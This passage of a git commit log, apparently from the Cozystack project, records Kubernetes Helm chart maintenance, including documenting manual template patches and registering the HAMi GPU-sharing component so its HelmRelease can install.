`helm pull`, so they no longer silently disappear on the next bump.

Template-level patches (DRA guards in scheduler/*, indent fix in
device-plugin/monitorservice.yaml) are documented with rationale and
commit references — they remain a manual step because automating them
would be fragile across upstream template restructures.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-29 11:14:41 +03:00
Arsolitt 9b5848ed26 fix(platform): register HAMi as kubernetes-application component
The HelmRelease at packages/apps/kubernetes/templates/helmreleases/hami.yaml
references chartRef.name 'cozystack-kubernetes-application-kubevirt-kubernetes-hami',
but that component was missing from the kubernetes-application PackageSource.
The HelmRelease would sit in Stalled: ArtifactNotFound at install time.

Add kubernetes-hami next to kubernetes-gpu-operator under variant kubevirt,
mirroring the existing pattern for every other tenant-cluster addon. The
standalone cozystack.hami PackageSource is retained — same shape as
gpu-operator, which is registered both standalone (for bundles/iaas) and
as a kubernetes-application component (for tenant-cluster HelmReleases).

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-29 11:13:55 +03:00